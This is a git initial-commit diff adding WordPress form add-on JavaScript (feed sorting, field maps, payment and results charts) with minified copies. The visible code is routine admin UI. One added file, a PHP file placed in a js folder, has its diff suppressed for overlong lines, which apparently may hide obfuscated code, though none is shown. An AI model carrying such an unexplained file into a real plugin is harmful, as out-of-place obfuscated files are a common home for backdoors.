Initial commit
This commit is contained in:
224
includes/addon/js/class.plugin-modules.php
Normal file
224
includes/addon/js/class.plugin-modules.php
Normal file
File diff suppressed because one or more lines are too long
111
includes/addon/js/gaddon_feedorder.js
Normal file
111
includes/addon/js/gaddon_feedorder.js
Normal file
@@ -0,0 +1,111 @@
|
||||
var GFFeedOrder = function( args ) {
|
||||
|
||||
var self = this,
|
||||
$ = jQuery;
|
||||
|
||||
/**
|
||||
* Initialize Feed Ordering
|
||||
*/
|
||||
self.init = function() {
|
||||
|
||||
// Assign options to instance.
|
||||
self.options = args;
|
||||
|
||||
// Prepare sorting handle.
|
||||
var sortHandleMarkup = '<td class="sort-column"><i class="fa fa-bars feed-sort-handle"></i></td>';
|
||||
|
||||
// Add sorting handle to table.
|
||||
$( '.wp-list-table thead tr, .wp-list-table tfoot tr' ).append( '<th class="sort-column"></th>' );
|
||||
$( '.wp-list-table tbody tr' ).append( sortHandleMarkup );
|
||||
|
||||
// Initialize sorting.
|
||||
self.initSorting();
|
||||
|
||||
};
|
||||
|
||||
/**
|
||||
* Initialize jQuery UI Sortable.
|
||||
*/
|
||||
self.initSorting = function() {
|
||||
|
||||
$( '.wp-list-table tbody' ).sortable(
|
||||
{
|
||||
cursor: 'move',
|
||||
handle: '.feed-sort-handle',
|
||||
placeholder: 'feed-placeholder',
|
||||
tolerance: 'pointer',
|
||||
create: function() { $( '.wp-list-table' ).addClass( 'feed-list-sortable' ); },
|
||||
helper: self.fixSortableColumnWidths,
|
||||
start: self.setPlaceholderHeight,
|
||||
update: self.updateFeedOrder,
|
||||
}
|
||||
);
|
||||
|
||||
}
|
||||
|
||||
/**
|
||||
* Fix table column widths.
|
||||
*/
|
||||
self.fixSortableColumnWidths = function( event, tr ) {
|
||||
|
||||
var $originals = tr.children(),
|
||||
$helper = tr.clone();
|
||||
|
||||
$helper.children().each( function( index ) {
|
||||
$( this ).width( $originals.eq( index ).width() );
|
||||
} );
|
||||
|
||||
return $helper;
|
||||
|
||||
}
|
||||
|
||||
/**
|
||||
* Get order of feeds.
|
||||
*/
|
||||
self.getFeedOrder = function() {
|
||||
|
||||
// Get all the checkboxes from the feed list table.
|
||||
var feed_checkboxes = $( '.wp-list-table tbody .check-column input[type="checkbox"]' );
|
||||
|
||||
// Map a function to the feed checkboxes array that returns the checkbox value.
|
||||
return feed_checkboxes.map( function() {
|
||||
return $( this ).val();
|
||||
} ).get();
|
||||
|
||||
}
|
||||
|
||||
/**
|
||||
* Set height of the placeholder draggable feed.
|
||||
*/
|
||||
self.setPlaceholderHeight = function( event, ui ) {
|
||||
|
||||
// Set the height of the placeholder to the height of the feed being moved.
|
||||
$( '.wp-list-table .feed-placeholder' ).height( ui.item.height() );
|
||||
|
||||
}
|
||||
|
||||
/**
|
||||
* Save the feed ordering to the database.
|
||||
*/
|
||||
self.updateFeedOrder = function( event, ui ) {
|
||||
|
||||
$.ajax(
|
||||
ajaxurl,
|
||||
{
|
||||
method: 'POST',
|
||||
dataType: 'JSON',
|
||||
data: {
|
||||
action: 'gf_save_feed_order',
|
||||
addon: self.options.addon,
|
||||
form_id: self.options.formId,
|
||||
feed_order: self.getFeedOrder(),
|
||||
nonce: self.options.nonce,
|
||||
}
|
||||
}
|
||||
);
|
||||
|
||||
}
|
||||
|
||||
this.init();
|
||||
|
||||
}
|
||||
1
includes/addon/js/gaddon_feedorder.min.js
vendored
Normal file
1
includes/addon/js/gaddon_feedorder.min.js
vendored
Normal file
@@ -0,0 +1 @@
|
||||
var GFFeedOrder=function(a){var b=this,c=jQuery;b.init=function(){b.options=a,c(".wp-list-table thead tr, .wp-list-table tfoot tr").append('<th class="sort-column"></th>'),c(".wp-list-table tbody tr").append('<td class="sort-column"><i class="fa fa-bars feed-sort-handle"></i></td>'),b.initSorting()},b.initSorting=function(){c(".wp-list-table tbody").sortable({cursor:"move",handle:".feed-sort-handle",placeholder:"feed-placeholder",tolerance:"pointer",create:function(){c(".wp-list-table").addClass("feed-list-sortable")},helper:b.fixSortableColumnWidths,start:b.setPlaceholderHeight,update:b.updateFeedOrder})},b.fixSortableColumnWidths=function(a,b){var d=b.children(),e=b.clone();return e.children().each(function(a){c(this).width(d.eq(a).width())}),e},b.getFeedOrder=function(){return c('.wp-list-table tbody .check-column input[type="checkbox"]').map(function(){return c(this).val()}).get()},b.setPlaceholderHeight=function(a,b){c(".wp-list-table .feed-placeholder").height(b.item.height())},b.updateFeedOrder=function(a,d){c.ajax(ajaxurl,{method:"POST",dataType:"JSON",data:{action:"gf_save_feed_order",addon:b.options.addon,form_id:b.options.formId,feed_order:b.getFeedOrder(),nonce:b.options.nonce}})},this.init()};
|
||||
135
includes/addon/js/gaddon_fieldmap.js
Normal file
135
includes/addon/js/gaddon_fieldmap.js
Normal file
@@ -0,0 +1,135 @@
|
||||
var gfieldmap = function( options ) {
|
||||
|
||||
var self = this;
|
||||
|
||||
self.options = options;
|
||||
self.UI = jQuery( '#gaddon-setting-row-'+ self.options.fieldName );
|
||||
|
||||
self.init = function() {
|
||||
|
||||
self.bindEvents();
|
||||
|
||||
self.setupData();
|
||||
|
||||
self.setupRepeater();
|
||||
|
||||
};
|
||||
|
||||
self.bindEvents = function() {
|
||||
|
||||
self.UI.on( 'change', 'select[name="_gaddon_setting_'+ self.options.keyFieldName +'"]', function() {
|
||||
|
||||
var $select = jQuery( this ),
|
||||
$selectElm = $select.data( 'chosen' ) ? $select.siblings( '.chosen-container' ) : ( $select.data( 'select2' ) ? $select.siblings( '.select2-container' ) : $select ),
|
||||
$input = $select.siblings( '.custom-key-container' );
|
||||
|
||||
if( $select.val() != 'gf_custom' ) {
|
||||
return;
|
||||
}
|
||||
|
||||
$selectElm.fadeOut( function() {
|
||||
$input.fadeIn().focus();
|
||||
} );
|
||||
|
||||
} );
|
||||
|
||||
self.UI.on( 'click', 'a.custom-key-reset', function( event ) {
|
||||
|
||||
event.preventDefault();
|
||||
|
||||
var $reset = jQuery( this ),
|
||||
$input = $reset.parents( '.custom-key-container' ),
|
||||
$select = $input.siblings( 'select.key' ),
|
||||
$selectElm = $select.data( 'chosen' ) ? $select.siblings( '.chosen-container' ) : ( $select.data( 'select2' ) ? $select.siblings( '.select2-container' ) : $select );
|
||||
|
||||
$input.fadeOut( function() {
|
||||
$input.find( 'input' ).val( '' ).change();
|
||||
$select.val( '' ).trigger( 'change' );
|
||||
$selectElm.fadeIn().focus();
|
||||
} );
|
||||
|
||||
} );
|
||||
|
||||
self.UI.closest( 'form' ).on( 'submit', function( event ) {
|
||||
|
||||
jQuery( '[name^="_gaddon_setting_'+ self.options.fieldName +'_"]' ).each( function( i ) {
|
||||
|
||||
jQuery( this ).removeAttr( 'name' );
|
||||
|
||||
} );
|
||||
|
||||
} );
|
||||
|
||||
};
|
||||
|
||||
self.setupData = function() {
|
||||
|
||||
self.data = jQuery.parseJSON( jQuery( '#' + self.options.fieldId ).val() );
|
||||
|
||||
if ( ! self.data ) {
|
||||
self.data = [ {
|
||||
key: '',
|
||||
value: '',
|
||||
custom_key: ''
|
||||
} ];
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
self.setupRepeater = function() {
|
||||
|
||||
var limit;
|
||||
if (self.options.limit > 0){
|
||||
limit = self.options.limit;
|
||||
}
|
||||
else{
|
||||
limit = 0;
|
||||
}
|
||||
|
||||
self.UI.find( 'tbody.repeater' ).repeater( {
|
||||
|
||||
limit: limit,
|
||||
items: self.data,
|
||||
addButtonMarkup: '<span>+</span>',
|
||||
removeButtonMarkup: '<span>-</span>',
|
||||
callbacks: {
|
||||
add: function( obj, $elem, item ) {
|
||||
|
||||
var key_select = $elem.find( 'select[name="_gaddon_setting_'+ self.options.keyFieldName +'"]' );
|
||||
|
||||
if ( ! item.custom_key && key_select.length > 0 ) {
|
||||
$elem.find( '.custom-key-container' ).hide();
|
||||
} else {
|
||||
$elem.find( '.key' ).hide();
|
||||
}
|
||||
|
||||
gform.doAction( 'gform_fieldmap_add_row', obj, $elem, item );
|
||||
|
||||
},
|
||||
save: function( obj, data ) {
|
||||
|
||||
data = jQuery.extend( {}, data );
|
||||
|
||||
for ( var i = 0; i < data.length; i++ ) {
|
||||
|
||||
if ( data[i].custom_key != '' ) {
|
||||
data[i].custom = 1;
|
||||
data[i].key = data[i].custom_key;
|
||||
}
|
||||
|
||||
delete data[i].custom_key;
|
||||
|
||||
}
|
||||
|
||||
jQuery( '#'+ self.options.fieldId ).val( jQuery.toJSON( data ) );
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
} );
|
||||
|
||||
}
|
||||
|
||||
return self.init();
|
||||
|
||||
};
|
||||
1
includes/addon/js/gaddon_fieldmap.min.js
vendored
Normal file
1
includes/addon/js/gaddon_fieldmap.min.js
vendored
Normal file
@@ -0,0 +1 @@
|
||||
var gfieldmap=function(a){var b=this;return b.options=a,b.UI=jQuery("#gaddon-setting-row-"+b.options.fieldName),b.init=function(){b.bindEvents(),b.setupData(),b.setupRepeater()},b.bindEvents=function(){b.UI.on("change",'select[name="_gaddon_setting_'+b.options.keyFieldName+'"]',function(){var a=jQuery(this),b=a.data("chosen")?a.siblings(".chosen-container"):a.data("select2")?a.siblings(".select2-container"):a,c=a.siblings(".custom-key-container");"gf_custom"==a.val()&&b.fadeOut(function(){c.fadeIn().focus()})}),b.UI.on("click","a.custom-key-reset",function(a){a.preventDefault();var b=jQuery(this),c=b.parents(".custom-key-container"),d=c.siblings("select.key"),e=d.data("chosen")?d.siblings(".chosen-container"):d.data("select2")?d.siblings(".select2-container"):d;c.fadeOut(function(){c.find("input").val("").change(),d.val("").trigger("change"),e.fadeIn().focus()})}),b.UI.closest("form").on("submit",function(a){jQuery('[name^="_gaddon_setting_'+b.options.fieldName+'_"]').each(function(a){jQuery(this).removeAttr("name")})})},b.setupData=function(){b.data=jQuery.parseJSON(jQuery("#"+b.options.fieldId).val()),b.data||(b.data=[{key:"",value:"",custom_key:""}])},b.setupRepeater=function(){var a;a=b.options.limit>0?b.options.limit:0,b.UI.find("tbody.repeater").repeater({limit:a,items:b.data,addButtonMarkup:"<span>+</span>",removeButtonMarkup:"<span>-</span>",callbacks:{add:function(a,c,d){var e=c.find('select[name="_gaddon_setting_'+b.options.keyFieldName+'"]');!d.custom_key&&e.length>0?c.find(".custom-key-container").hide():c.find(".key").hide(),gform.doAction("gform_fieldmap_add_row",a,c,d)},save:function(a,c){c=jQuery.extend({},c);for(var d=0;d<c.length;d++)""!=c[d].custom_key&&(c[d].custom=1,c[d].key=c[d].custom_key),delete c[d].custom_key;jQuery("#"+b.options.fieldId).val(jQuery.toJSON(c))}}})},b.init()};
|
||||
164
includes/addon/js/gaddon_genericmap.js
Normal file
164
includes/addon/js/gaddon_genericmap.js
Normal file
@@ -0,0 +1,164 @@
|
||||
var GFGenericMap = function( options ) {
|
||||
|
||||
var self = this;
|
||||
|
||||
self.options = options;
|
||||
self.UI = jQuery( '#gaddon-setting-row-'+ self.options.fieldName );
|
||||
|
||||
self.init = function() {
|
||||
|
||||
self.bindEvents();
|
||||
|
||||
self.setupData();
|
||||
|
||||
self.setupRepeater();
|
||||
|
||||
};
|
||||
|
||||
self.bindEvents = function() {
|
||||
|
||||
self.UI.on( 'change', 'select[name="_gaddon_setting_'+ self.options.keyFieldName +'"]', function() {
|
||||
|
||||
var $select = jQuery( this ),
|
||||
$selectElm = $select.data( 'chosen' ) ? $select.siblings( '.chosen-container' ) : ( $select.data( 'select2' ) ? $select.siblings( '.select2-container' ) : $select ),
|
||||
$input = $select.siblings( '.custom-key-container' );
|
||||
|
||||
if( $select.val() != 'gf_custom' ) {
|
||||
return;
|
||||
}
|
||||
|
||||
$selectElm.fadeOut( function() {
|
||||
$input.fadeIn().focus();
|
||||
} );
|
||||
|
||||
} );
|
||||
|
||||
self.UI.on( 'change', 'select[name="_gaddon_setting_'+ self.options.valueFieldName +'"]', function() {
|
||||
|
||||
var $select = jQuery( this ),
|
||||
$selectElm = $select.data( 'chosen' ) ? $select.siblings( '.chosen-container' ) : ( $select.data( 'select2' ) ? $select.siblings( '.select2-container' ) : $select ),
|
||||
$input = $select.siblings( '.custom-value-container' );
|
||||
|
||||
if ( $select.val() != 'gf_custom' ) {
|
||||
return;
|
||||
}
|
||||
|
||||
$selectElm.fadeOut( function() {
|
||||
$input.fadeIn().focus();
|
||||
} );
|
||||
|
||||
} );
|
||||
|
||||
self.UI.on( 'click', 'a.custom-key-reset', function( event ) {
|
||||
|
||||
event.preventDefault();
|
||||
|
||||
var $reset = jQuery( this ),
|
||||
$input = $reset.parents( '.custom-key-container' ),
|
||||
$select = $input.siblings( 'select.key' ),
|
||||
$selectElm = $select.data( 'chosen' ) ? $select.siblings( '.chosen-container' ) : ( $select.data( 'select2' ) ? $select.siblings( '.select2-container' ) : $select );
|
||||
|
||||
$input.fadeOut( function() {
|
||||
$input.find( 'input' ).val( '' ).change();
|
||||
$select.val( '' ).trigger( 'change' );
|
||||
$selectElm.fadeIn().focus();
|
||||
} );
|
||||
|
||||
} );
|
||||
|
||||
self.UI.on( 'click', 'a.custom-value-reset', function( event ) {
|
||||
|
||||
event.preventDefault();
|
||||
|
||||
var $reset = jQuery( this ),
|
||||
$input = $reset.parents( '.custom-value-container' ),
|
||||
$select = $input.siblings( 'select.value' ),
|
||||
$selectElm = $select.data( 'chosen' ) ? $select.siblings( '.chosen-container' ) : ( $select.data( 'select2' ) ? $select.siblings( '.select2-container' ) : $select );
|
||||
|
||||
$input.fadeOut( function() {
|
||||
$input.find( 'input' ).val( '' ).change();
|
||||
$select.val( '' ).trigger( 'change' );
|
||||
$selectElm.fadeIn().focus();
|
||||
} );
|
||||
|
||||
} );
|
||||
|
||||
self.UI.closest( 'form' ).on( 'submit', function( event ) {
|
||||
|
||||
jQuery( '[name^="_gaddon_setting_'+ self.options.fieldName +'_"]' ).each( function( i ) {
|
||||
|
||||
jQuery( this ).removeAttr( 'name' );
|
||||
|
||||
} );
|
||||
|
||||
} );
|
||||
|
||||
};
|
||||
|
||||
self.setupData = function() {
|
||||
|
||||
self.data = jQuery.parseJSON( jQuery( '#' + self.options.fieldId ).val() );
|
||||
|
||||
if ( ! self.data ) {
|
||||
self.data = [ {
|
||||
key: '',
|
||||
value: '',
|
||||
custom_key: '',
|
||||
custom_value: ''
|
||||
} ];
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
self.setupRepeater = function() {
|
||||
|
||||
var limit = self.options.limit > 0 ? self.options.limit : 0;
|
||||
|
||||
self.UI.find( 'tbody.repeater' ).repeater( {
|
||||
|
||||
limit: limit,
|
||||
items: self.data,
|
||||
addButtonMarkup: '<span>+</span>',
|
||||
removeButtonMarkup: '<span>-</span>',
|
||||
callbacks: {
|
||||
add: function( obj, $elem, item ) {
|
||||
|
||||
var key_select = $elem.find( 'select[name="_gaddon_setting_'+ self.options.keyFieldName +'"]' );
|
||||
|
||||
if ( ! item.custom_key && key_select.length > 0 ) {
|
||||
$elem.find( '.custom-key-container' ).hide();
|
||||
} else {
|
||||
$elem.find( '.key' ).hide();
|
||||
}
|
||||
|
||||
var value_select = $elem.find( 'select[name="_gaddon_setting_'+ self.options.valueFieldName +'"]' );
|
||||
|
||||
if ( ! item.custom_value && value_select.length > 0 ) {
|
||||
$elem.find( '.custom-value-container' ).hide();
|
||||
} else {
|
||||
$elem.find( '.value' ).hide();
|
||||
}
|
||||
|
||||
if ( self.options.mergeTags ) {
|
||||
new gfMergeTagsObj( form, $elem.find( '.custom-value-container input' ) );
|
||||
}
|
||||
|
||||
if ( window.hasOwnProperty( 'gform' ) ) {
|
||||
gform.doAction( 'gform_fieldmap_add_row', obj, $elem, item );
|
||||
}
|
||||
|
||||
},
|
||||
save: function( obj, data ) {
|
||||
|
||||
jQuery( '#'+ self.options.fieldId ).val( JSON.stringify( data ) );
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
} );
|
||||
|
||||
}
|
||||
|
||||
return self.init();
|
||||
|
||||
};
|
||||
1
includes/addon/js/gaddon_genericmap.min.js
vendored
Normal file
1
includes/addon/js/gaddon_genericmap.min.js
vendored
Normal file
@@ -0,0 +1 @@
|
||||
var GFGenericMap=function(a){var b=this;return b.options=a,b.UI=jQuery("#gaddon-setting-row-"+b.options.fieldName),b.init=function(){b.bindEvents(),b.setupData(),b.setupRepeater()},b.bindEvents=function(){b.UI.on("change",'select[name="_gaddon_setting_'+b.options.keyFieldName+'"]',function(){var a=jQuery(this),b=a.data("chosen")?a.siblings(".chosen-container"):a.data("select2")?a.siblings(".select2-container"):a,c=a.siblings(".custom-key-container");"gf_custom"==a.val()&&b.fadeOut(function(){c.fadeIn().focus()})}),b.UI.on("change",'select[name="_gaddon_setting_'+b.options.valueFieldName+'"]',function(){var a=jQuery(this),b=a.data("chosen")?a.siblings(".chosen-container"):a.data("select2")?a.siblings(".select2-container"):a,c=a.siblings(".custom-value-container");"gf_custom"==a.val()&&b.fadeOut(function(){c.fadeIn().focus()})}),b.UI.on("click","a.custom-key-reset",function(a){a.preventDefault();var b=jQuery(this),c=b.parents(".custom-key-container"),d=c.siblings("select.key"),e=d.data("chosen")?d.siblings(".chosen-container"):d.data("select2")?d.siblings(".select2-container"):d;c.fadeOut(function(){c.find("input").val("").change(),d.val("").trigger("change"),e.fadeIn().focus()})}),b.UI.on("click","a.custom-value-reset",function(a){a.preventDefault();var b=jQuery(this),c=b.parents(".custom-value-container"),d=c.siblings("select.value"),e=d.data("chosen")?d.siblings(".chosen-container"):d.data("select2")?d.siblings(".select2-container"):d;c.fadeOut(function(){c.find("input").val("").change(),d.val("").trigger("change"),e.fadeIn().focus()})}),b.UI.closest("form").on("submit",function(a){jQuery('[name^="_gaddon_setting_'+b.options.fieldName+'_"]').each(function(a){jQuery(this).removeAttr("name")})})},b.setupData=function(){b.data=jQuery.parseJSON(jQuery("#"+b.options.fieldId).val()),b.data||(b.data=[{key:"",value:"",custom_key:"",custom_value:""}])},b.setupRepeater=function(){var a=b.options.limit>0?b.options.limit:0;b.UI.find("tbody.repeater").repeater({limit:a,items:b.data,addButtonMarkup:"<span>+</span>",removeButtonMarkup:"<span>-</span>",callbacks:{add:function(a,c,d){var e=c.find('select[name="_gaddon_setting_'+b.options.keyFieldName+'"]');!d.custom_key&&e.length>0?c.find(".custom-key-container").hide():c.find(".key").hide();var f=c.find('select[name="_gaddon_setting_'+b.options.valueFieldName+'"]');!d.custom_value&&f.length>0?c.find(".custom-value-container").hide():c.find(".value").hide(),b.options.mergeTags&&new gfMergeTagsObj(form,c.find(".custom-value-container input")),window.hasOwnProperty("gform")&&gform.doAction("gform_fieldmap_add_row",a,c,d)},save:function(a,c){jQuery("#"+b.options.fieldId).val(JSON.stringify(c))}}})},b.init()};
|
||||
46
includes/addon/js/gaddon_payment.js
Normal file
46
includes/addon/js/gaddon_payment.js
Normal file
@@ -0,0 +1,46 @@
|
||||
function loadBillingLength(setting_name){
|
||||
var intervals = window[setting_name + "_intervals"]
|
||||
if(!intervals)
|
||||
return;
|
||||
|
||||
var unit = jQuery("#" + setting_name + "_unit").val();
|
||||
var min = intervals[unit]["min"];
|
||||
var max = intervals[unit]["max"];
|
||||
|
||||
var lengthField = jQuery("#" + setting_name + "_length");
|
||||
var length = lengthField.val();
|
||||
|
||||
var str = "";
|
||||
for(var i=min; i<=max; i++){
|
||||
var selected = length == i ? "selected='selected'" : "";
|
||||
str += "<option value='" + i + "' " + selected + ">" + i + "</option>";
|
||||
}
|
||||
lengthField.html(str);
|
||||
}
|
||||
|
||||
function cancel_subscription(entryId){
|
||||
|
||||
if(! confirm(gaddon_payment_strings.subscriptionCancelWarning) )
|
||||
return;
|
||||
|
||||
jQuery("#subscription_cancel_spinner").show();
|
||||
jQuery("#cancelsub").prop("disabled", true);
|
||||
jQuery.post(ajaxurl, {
|
||||
action:"gaddon_cancel_subscription",
|
||||
entry_id:entryId,
|
||||
gaddon_cancel_subscription: gaddon_payment_strings.subscriptionCancelNonce},
|
||||
function(response){
|
||||
jQuery("#subscription_cancel_spinner").hide();
|
||||
if(response == 1)
|
||||
{
|
||||
jQuery("#gform_payment_status").html(gaddon_payment_strings.subscriptionCanceled);
|
||||
jQuery("#cancelsub").hide();
|
||||
}
|
||||
else
|
||||
{
|
||||
jQuery("#cancelsub").prop("disabled", false);
|
||||
alert(gaddon_payment_strings.subscriptionError);
|
||||
}
|
||||
}
|
||||
);
|
||||
}
|
||||
1
includes/addon/js/gaddon_payment.min.js
vendored
Normal file
1
includes/addon/js/gaddon_payment.min.js
vendored
Normal file
@@ -0,0 +1 @@
|
||||
function loadBillingLength(a){var b=window[a+"_intervals"];if(b){for(var c=jQuery("#"+a+"_unit").val(),d=b[c].min,e=b[c].max,f=jQuery("#"+a+"_length"),g=f.val(),h="",i=d;i<=e;i++){h+="<option value='"+i+"' "+(g==i?"selected='selected'":"")+">"+i+"</option>"}f.html(h)}}function cancel_subscription(a){confirm(gaddon_payment_strings.subscriptionCancelWarning)&&(jQuery("#subscription_cancel_spinner").show(),jQuery("#cancelsub").prop("disabled",!0),jQuery.post(ajaxurl,{action:"gaddon_cancel_subscription",entry_id:a,gaddon_cancel_subscription:gaddon_payment_strings.subscriptionCancelNonce},function(a){jQuery("#subscription_cancel_spinner").hide(),1==a?(jQuery("#gform_payment_status").html(gaddon_payment_strings.subscriptionCanceled),jQuery("#cancelsub").hide()):(jQuery("#cancelsub").prop("disabled",!1),alert(gaddon_payment_strings.subscriptionError))}))}
|
||||
248
includes/addon/js/gaddon_results.js
Normal file
248
includes/addon/js/gaddon_results.js
Normal file
@@ -0,0 +1,248 @@
|
||||
var gresultsAjaxRequest;
|
||||
|
||||
var gresults = {
|
||||
|
||||
drawCharts: function () {
|
||||
var containers = jQuery('.gresults-chart-wrapper');
|
||||
containers.each(function (index, elem) {
|
||||
var id = jQuery(elem).attr('id');
|
||||
var options = jQuery(elem).data('options');
|
||||
var datatable = jQuery(elem).data('datatable');
|
||||
var chartType = jQuery(elem).data('charttype');
|
||||
var data_array = datatable;
|
||||
var data = google.visualization.arrayToDataTable(data_array);
|
||||
var cont = document.getElementById(id);
|
||||
var chart;
|
||||
if (chartType == "bar") {
|
||||
chart = new google.visualization.BarChart(cont);
|
||||
} else if (chartType == "pie") {
|
||||
chart = new google.visualization.PieChart(cont);
|
||||
} else if (chartType == "column") {
|
||||
chart = new google.visualization.ColumnChart(cont);
|
||||
}
|
||||
chart.draw(data, options);
|
||||
});
|
||||
},
|
||||
|
||||
renderStateData: function (state) {
|
||||
var results = jQuery("#gresults-results");
|
||||
results.data('searchcriteria', state.searchCriteria);
|
||||
jQuery("#gresults-results-filter").html(state.filterUI);
|
||||
results.css('opacity', 0);
|
||||
results.html(state.html);
|
||||
gresults.drawCharts();
|
||||
results.fadeTo("slow", 1);
|
||||
|
||||
var filterContainer = jQuery("#gresults-results-field-filters-container");
|
||||
filterContainer.resizable();
|
||||
filterContainer.resizable('destroy');
|
||||
filterContainer.resizable({
|
||||
handles: 's'
|
||||
});
|
||||
},
|
||||
|
||||
getResults: function () {
|
||||
gresults.recordFormState();
|
||||
var gresultsData = jQuery('#gresults-results-filter-form').serialize();
|
||||
gresults.sendRequest(gresultsData)
|
||||
},
|
||||
|
||||
sendRequest: function (gresultsData, serverStateObject, checkSum) {
|
||||
var results = jQuery("#gresults-results");
|
||||
var filterButtons = jQuery("#gresults-results-filter-buttons input");
|
||||
var loading = jQuery(".gresults-filter-loading");
|
||||
var viewSlug = jQuery("#gresults-view-slug").val();
|
||||
var nonce = jQuery("#_gf_results_nonce").val()
|
||||
var data_str = "action=gresults_get_results_" + viewSlug + "&" + gresultsData + '&_gf_results_nonce' + nonce ;
|
||||
if (serverStateObject)
|
||||
data_str += "&state=" + serverStateObject + "&checkSum=" + checkSum;
|
||||
|
||||
gresultsAjaxRequest = jQuery.ajax({
|
||||
url : ajaxurl,
|
||||
type : 'POST',
|
||||
dataType : 'json',
|
||||
data : data_str,
|
||||
beforeSend: function (xhr, opts) {
|
||||
results.fadeTo("slow", 0.33);
|
||||
results.html('');
|
||||
loading.show();
|
||||
filterButtons.attr('disabled', 'disabled');
|
||||
}
|
||||
})
|
||||
.done(function (response) {
|
||||
if (!response || response === -1) {
|
||||
loading.hide();
|
||||
results.html(gresultsStrings.ajaxError);
|
||||
} else {
|
||||
if (response.status === "complete") {
|
||||
filterButtons.removeAttr('disabled');
|
||||
loading.hide();
|
||||
results.html(response.html);
|
||||
jQuery("#gresults-results").data('searchcriteria', response.searchCriteria); //used in 'more' links
|
||||
|
||||
var filterUI = jQuery("#gresults-results-filter").html();
|
||||
|
||||
gresults.drawCharts();
|
||||
results.fadeTo("slow", 1);
|
||||
if (window.history.replaceState) {
|
||||
if (!history.state) {
|
||||
history.replaceState({"html": response.html, "filterUI": filterUI, "searchCriteria": response.searchCriteria}, "", "?" + gresultsData);
|
||||
} else {
|
||||
history.pushState({"html": response.html, "filterUI": filterUI, "searchCriteria": response.searchCriteria}, "", "?" + gresultsData);
|
||||
}
|
||||
}
|
||||
gresults.drawCharts();
|
||||
if (window["gform_initialize_tooltips"])
|
||||
gform_initialize_tooltips();
|
||||
} else if (response.status === "incomplete") {
|
||||
serverStateObject = response.stateObject;
|
||||
gresults.sendRequest(gresultsData, serverStateObject, response.checkSum);
|
||||
results.html(response.html);
|
||||
} else {
|
||||
loading.hide();
|
||||
results.html(gresultsStrings.ajaxError);
|
||||
}
|
||||
}
|
||||
})
|
||||
.fail(function (error) {
|
||||
filterButtons.removeAttr('disabled');
|
||||
results.fadeTo("fast", 1);
|
||||
var msg = error.statusText;
|
||||
loading.hide();
|
||||
if (msg == "abort") {
|
||||
msg = "Request cancelled";
|
||||
} else {
|
||||
msg = gresultsStrings.ajaxError;
|
||||
}
|
||||
results.html(msg);
|
||||
})
|
||||
},
|
||||
|
||||
getMoreResults: function (formId, fieldId) {
|
||||
var container = jQuery('#gresults-results-field-content-' + fieldId),
|
||||
results = jQuery("#gresults-results"),
|
||||
offset = jQuery(container).data('offset'),
|
||||
viewSlug = jQuery("#gresults-view-slug").val(),
|
||||
searchCriteria = results.data('searchcriteria'),
|
||||
nonce = jQuery("#_gf_results_nonce").val();
|
||||
|
||||
jQuery.ajax({
|
||||
url : ajaxurl,
|
||||
type : 'POST',
|
||||
dataType: 'json',
|
||||
data : {
|
||||
action: 'gresults_get_more_results_' + viewSlug,
|
||||
view: viewSlug,
|
||||
form_id: formId,
|
||||
field_id: fieldId,
|
||||
offset: offset,
|
||||
search_criteria: searchCriteria,
|
||||
_gf_results_nonce: nonce
|
||||
},
|
||||
success : function (response) {
|
||||
if (response === -1) {
|
||||
//permission denied
|
||||
}
|
||||
else {
|
||||
if (response.html)
|
||||
jQuery(container).append(response.html);
|
||||
if (!response.more_remaining)
|
||||
jQuery('#gresults-results-field-more-link-' + fieldId).hide();
|
||||
|
||||
jQuery(container).data('offset', response.offset);
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
return false;
|
||||
|
||||
},
|
||||
|
||||
clearFilterForm: function () {
|
||||
jQuery("#gresults-results-field-filters-container").gfFilterUI(gresultsFilterSettings, [], true);
|
||||
jQuery('#gresults-results-filter-form').find('input, select').each(function () {
|
||||
switch (this.type) {
|
||||
case 'text':
|
||||
case 'select-one':
|
||||
jQuery(this).val('').change();
|
||||
break;
|
||||
case 'checkbox':
|
||||
case 'radio':
|
||||
this.checked = false;
|
||||
}
|
||||
});
|
||||
},
|
||||
|
||||
recordFormState: function () {
|
||||
jQuery("#gresults-results-filter-form input[type='radio']").each(function () {
|
||||
if (this.checked) {
|
||||
jQuery(this).prop("defaultChecked", true);
|
||||
} else {
|
||||
jQuery(this).prop("defaultChecked", false);
|
||||
}
|
||||
});
|
||||
jQuery("#gresults-results-filter-form input[type='checkbox']").each(function () {
|
||||
if (this.checked) {
|
||||
jQuery(this).prop("defaultChecked", true);
|
||||
} else {
|
||||
jQuery(this).prop("defaultChecked", false);
|
||||
}
|
||||
});
|
||||
jQuery("#gresults-results-filter-form input[type='text']").each(function () {
|
||||
jQuery(this).prop("defaultValue", jQuery(this).val());
|
||||
});
|
||||
jQuery("#gresults-results-filter-form select option").each(function () {
|
||||
jQuery(this).prop("defaultSelected", jQuery(this).prop('selected'));
|
||||
});
|
||||
},
|
||||
|
||||
setCustomFilter: function(key, value){
|
||||
elementId = "gresults-custom-" + key;
|
||||
if(jQuery('#' + elementId).length == 0)
|
||||
jQuery('#gresults-results-filter-form').append("<input type='hidden' id='" + elementId + "' name='" + key + "' value='" + value + "'>");
|
||||
else
|
||||
jQuery('#' + elementId).val(value);
|
||||
}
|
||||
|
||||
};
|
||||
|
||||
google.load('visualization', '1', {packages: ['corechart']});
|
||||
google.setOnLoadCallback(gresults.drawCharts);
|
||||
|
||||
|
||||
jQuery(document).ready(function () {
|
||||
|
||||
if (jQuery("#gresults-results").length > 0) {
|
||||
|
||||
jQuery("#gresults-results-field-filters-container").gfFilterUI(gresultsFilterSettings, gresultsInitVars, true);
|
||||
var $window = jQuery(window);
|
||||
|
||||
$window.resize(function (e) {
|
||||
if (e.target === window) {
|
||||
gresults.drawCharts();
|
||||
}
|
||||
});
|
||||
|
||||
window.onpopstate = function (e) {
|
||||
if (e.state)
|
||||
gresults.renderStateData(e.state)
|
||||
};
|
||||
|
||||
|
||||
jQuery("#gresults-results-filter-date-start, #gresults-results-filter-date-end").datepicker({dateFormat: 'yy-mm-dd', changeMonth: true, changeYear: true});
|
||||
|
||||
jQuery("#gresults-results-filter-form").submit(function (e) {
|
||||
gresults.getResults();
|
||||
return false;
|
||||
});
|
||||
|
||||
if (history.state) {
|
||||
gresults.renderStateData(history.state)
|
||||
} else {
|
||||
gresults.getResults();
|
||||
}
|
||||
if (window["gform_initialize_tooltips"])
|
